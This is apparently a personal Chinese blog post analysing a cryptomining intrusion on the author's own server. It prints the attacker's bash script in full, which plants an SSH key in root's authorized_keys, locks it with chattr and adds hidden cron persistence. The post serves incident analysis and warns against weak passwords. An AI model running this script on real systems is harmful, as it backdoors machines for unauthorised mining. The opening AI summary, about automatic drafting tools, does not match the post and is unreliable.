分析:一个挖矿木马

发布于 2022-01-13  172 次阅读


AI 摘要

自动草稿是一种新兴的技术,可以帮助人们在写作过程中更高效地生成草稿。通过使用自动草稿工具,用户只需输入一些关键词或想法,系统便能根据这些信息生成一份初步的草稿。这种技术利用了自然语言处理和机器学习算法,能够分析用户输入的内容并据此产生相应的文本。自动草稿的优势在于它能够提供快速的写作起点,帮助人们节省时间和精力,使得写作变得更加轻松和高效。无论是写一篇文章、发表一篇论文还是撰写一封邮件,自动草稿的应用都能够为我们带来很大的便利。值得一提的是,虽然自动草稿可以提供一些写作的思路和框架,但最终的写作质量仍然需要靠人类的智慧和创造力来保证。因此,自动草稿技术只是辅助工具而非取而代之的工具,它为我们提供了一个更加高效和方便的写作环境,但我们仍然需要付出努力来完善和提升自己的写作能力。总之,自动草稿是一项具有潜力的技术,它为我们的写作带来了新的可能性,有望在未来得到更加广泛的应用和发展。

昨天,我一台服务器的 CPU 占用率超过了 80%(那台服务器并没有被用于任何项目),登录 Cockpit 一看日志,从 2022 年 1 月 12 日 下午 7:012022 年 1 月 12 日 下午 10:04 一直有 sshd 的登陆错误报告,10:04 之后就没了,心想不好,一看 cpu99% 就知道出事了

检测

这台服务器并没有 log4j 0day 的漏洞(java 都没有),只有可能是被跑字典了,并且当时密码也用的弱密码(笑),估计是个脚本小子干的,然后直接一个 top,好家伙 xmrig 藏都不藏的,直接进去就把目录删了,暗想不对,反手进行一个

ps -aux | grep xmrig

很快啊,啥都出来了,返回了一个脚本,是用一个不明的文件 -c 调用的一个脚本,后悔当时直接抄了家,没有留个底,,

只剩下一个脚本可以分析了,这个脚本让代码格式化直呼我不理解,原代码在文末附上,这里放已经被我缴械的代码(

#!/bin/bash
sshkey="ssh-rsa QWQ localhost" 
FOLDER="$(cat /var/tmp/.logs/.xmr)" 
sshkeyset() { 
    if [ $(id -u) = 0 ]; 
    then if [ -f "/root/.ssh/authorized_keys" ]; 
    then if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; 
        then chattr -i -a -j -t -d -u /root ; 
            chattr -i -a -j -t -d -u /root/.ssh ;
            chattr -i -a -j -t -d -u /root/.ssh/authorized_keys 
            echo $sshkey >> "/root/.ssh/authorized_keys" 
            chmod 600 /root/.ssh/authorized_keys 
            chattr +i /root/.ssh/authorized_keys 
    fi 
    else 
    if [ -d "/root/.ssh" ]; 
    then 
        chattr -i -a -j -t -d -u /root/.ssh 
        echo $sshkey >> "/root/.ssh/authorized_keys" 
        chmod 600 /root/.ssh/authorized_keys 
        chattr +i /root/.ssh/authorized_keys
    else 
        chattr -i -a -j -t -d -u /root 
        mkdir "/root/.ssh"  
        echo $sshkey >> "/root/.ssh/authorized_keys" 
        chmod 600 /root/.ssh/authorized_keys 
        chattr +i /root/.ssh/authorized_keys
    fi
    fi
    fi
}
cronjob() { 
    if ! crontab -l | grep -q 'updat3';
    then rm -rf $FOLDER/.tempo
    echo "@daily $FOLDER/start" >> $FOLDER/.tempo 
    sleep 1 
    echo "@reboot $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo 
    sleep 1
    echo "@monthly $FOLDER/updat3  > /dev/null 2>&1 & disown" >> $FOLDER/.tempo 
    sleep 1
    crontab $FOLDER/.tempo 
    sleep 1 
    rm -rf $FOLDER/.tempo 
    fi 
}
delete(){
    if [ -f $FOLDER/config.json ];
        then rm -rf $FOLDER/config.json 
        sleep 1 
        killall xmrig
        pkill xmrig 
    fi 
}  
while : 
do 
    sshkeyset 
    sleep 1
    cronjob
    sleep 1 
    delete 
    sleep 1 
    $FOLDER/1
    sleep 60
done /var/tmp/.mint-xmr/updat3

解析

缴械过后的代码就扔在上面的,代码中的公钥我出于对隐私的一个保护隐去了(确信),我们来分析一下这个代码中的函数(不得不说这个代码还是写的算聪明)

首先将 FOLDER 赋值为当前程序的执行目录,然后便是 sshkeyset() 这个函数了,顾名思义,是设置 ssh 公钥以便攻击者登入的。

在这里,if [ $(id -u) = 0 ]; 判断了当前用户是否为 root 用户(Linux 下 root 用户 id 为 0),然后判断本机中有没有自己的 sshkey,如果没有就将公钥写入 authorized_keys 文件中(保存公钥用),它先对 authorized_keys 文件进行解锁,避免无法写入,写入后也记得上锁了,点名表扬(bushi

然后是 cornjob() 这,它判断了 corntab 上是否已有自己的程序,如果没有就删除掉.tempo 这个文件(存了它的 corntab 配置信息),然后就是写入自启动(还是隐藏的),但是我机器上没有 corntab,可喜可贺,可喜可贺。

然后是 delete() 函数,它提供了挖矿程序的关闭和自攻(确信),这里不用细说

最后就是重复执行了,用 while 进行循环执行所有函数,也是我没看懂的一个地方,你挖矿就挖矿还留销毁程序干嘛(笑

尾声

最近摸鱼的比较多所以没怎么更新,处理完了这玩意儿,想着挺有趣的就更了一篇,如果我对代码理解有误也请各位大佬多多指正了(笑

最后叮嘱各位,不要在可能暴露在公网的服务器上使用弱密码(

#!/bin/bash sshkey="ssh-rsa 对隐私进行一个保护 localhost" FOLDER="$(cat /var/tmp/.logs/.xmr)" ###########  sshkeyset() { ?if [ $(id -u) = 0 ]; then ??if [ -f "/root/.ssh/authorized_keys" ]; then ???if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then ????chattr -i -a -j -t -d -u /root ; chattr -i -a -j -t -d -u /root/.ssh ; chattr -i -a -j -t -d -u /root/.ssh/authorized_keys ????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/authorized_keys ????chattr +i /root/.ssh/authorized_keys ???fi ??else ???if [ -d "/root/.ssh" ]; then ????chattr -i -a -j -t -d -u /root/.ssh ????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/authorized_keys ????chattr +i /root/.ssh/authorized_keys ???else ????chattr -i -a -j -t -d -u /root ????mkdir "/root/.ssh"  ????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/authorized_keys ????chattr +i /root/.ssh/authorized_keys ???fi ??fi ?fi }  cronjob() { ?if ! crontab -l | grep -q 'updat3'; then ??rm -rf $FOLDER/.tempo ??echo "@daily $FOLDER/start" >> $FOLDER/.tempo ??sleep 1 ??echo "@reboot $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo ??sleep 1 ??echo "@monthly $FOLDER/updat3  > /dev/null 2>&1 & disown" >> $FOLDER/.tempo ??sleep 1 ??crontab $FOLDER/.tempo ??sleep 1 ??rm -rf $FOLDER/.tempo ?fi }  delete() { ?if [ -f $FOLDER/config.json ]; then ??rm -rf $FOLDER/config.json ??sleep 1 ??killall xmrig ??pkill xmrig ?fi }  while : do ?sshkeyset ?sleep 1 ?cronjob ?sleep 1 ?delete ?sleep 1 ?$FOLDER/1 ?sleep 60 done /var/tmp/.mint-xmr/updat3

最后更新于 2024-01-26